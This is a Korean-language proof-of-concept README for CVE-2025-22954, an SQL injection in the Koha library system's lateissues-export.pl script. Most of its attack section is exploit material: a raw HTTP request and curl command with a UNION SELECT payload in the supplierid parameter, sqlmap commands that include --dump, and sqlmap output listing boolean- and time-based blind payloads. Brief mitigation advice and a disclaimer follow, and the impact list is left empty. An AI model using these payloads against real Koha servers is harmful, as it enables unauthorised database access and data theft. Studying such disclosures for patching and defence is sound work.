
Koha CVE-2025-22954: lateissues-export.pl의 SQL 인젝션
이 저장소는 CVE-2025-22954에 대한 개념 증명을 포함하고 있습니다. 이는 Koha 24.11.02 이전 버전에서 발생하는 심각도가 높은(CVSS 10.0) SQL 인젝션 취약점입니다. 취약점은 /serials/lateissues-export.pl 스크립트에 의해 호출되는 C4/Serials.pm의 GetLateOrMissingIssues 함수에 존재합니다. supplierid 또는 serialid 매개변수를 통해 악용될 수 있습니다.
| CVE ID | CVE-2025-22954 |
|---|---|
| CVSS v3 | 10.0 (심각) |
| EPSS 점수 | 0.03% (상위 5.26%) |
| 공개일 | 2025년 3월 12일 |
| 수정 버전 | Koha 24.11.02 |
| 버그 참조 | Koha 버그 #38829 |
| 릴리즈 노트 | Koha 24.11.02 릴리스 |
이 취약점은 lateissues-export.pl 스크립트의 supplierid 및 serialid 매개변수에서 사용자 입력을 안전하지 않게 처리하는 데서 비롯되며, 이 값은 C4/Serials.pm의 GetLateOrMissingIssues 함수로 전달됩니다. 해당 함수는 SQL 쿼리에서 이러한 입력값을 적절히 삭제하거나 매개변수화하지 않아 SQL 인젝션 공격을 허용합니다.
취약한 스크립트(lateissues-export.pl)에는 다음 코드가 포함되어 있습니다:
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
C4/Serials.pm의 GetLateOrMissingIssues 함수는 $supplierid 및 $serialid 매개변수를 적절한 매개변수화 없이 SQL 문에 직접 연결하는 취약한 SQL 쿼리 구성을 포함하고 있을 가능성이 높습니다.
이 개념 증명은 연속물 모듈에 접근 권한이 있는 인증된 사용자가 이 취약점을 악용하여 Koha 데이터베이스에서 민감한 데이터를 추출하거나 기본 데이터베이스 시스템에 대한 무단 액세스를 얻을 수 있는 방법을 보여줍니다.
lateissues-export.pl 스크립트에 대한 접근 권한다음 원시 HTTP 요청을 사용하여 취약점을 악용할 수 있습니다:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
SQLMap을 사용하여 이 취약점의 악용을 자동화할 수 있습니다. 먼저 유효한 인증 쿠키와 함께 취약한 엔드포인트에 대한 요청을 캡처한 후, SQLMap을 사용하여 인젝션 포인트를 악용합니다.
# 유효한 쿠키가 포함된 요청을 request.txt에 저장
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
예시 request.txt 파일:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
SQLMap으로 직접 취약점을 악용할 수도 있습니다:
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
-p supplierid \
--dbms=mysql \
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
이 취약점을 통해 인증된 공격자는 다음을 수행할 수 있습니다:
이 취약점에 대한 수정이 포함된 Koha 24.11.02 이상 버전으로 업데이트하십시오.
즉시 업데이트가 불가능한 경우 다음 임시 완화 조치를 고려하십시오:
/serials/lateissues-export.pl 스크립트에 대한 접근을 신뢰할 수 있는 IP 주소로만 제한C4/Serials.pm 파일을 수정하여 GetLateOrMissingIssues 함수의 SQL 쿼리를 적절히 매개변수화이 개념 증명은 교육 및 방어 목적으로만 제공됩니다. 시스템에 대한 취약점 테스트를 수행하기 전에 항상 적절한 승인을 받으십시오.
저자는 이 정보의 오용에 대해 책임을 지지 않습니다. 이 개념 증명은 귀하가 소유하거나 테스트할 명시적 권한이 있는 시스템에서만 사용해야 합니다.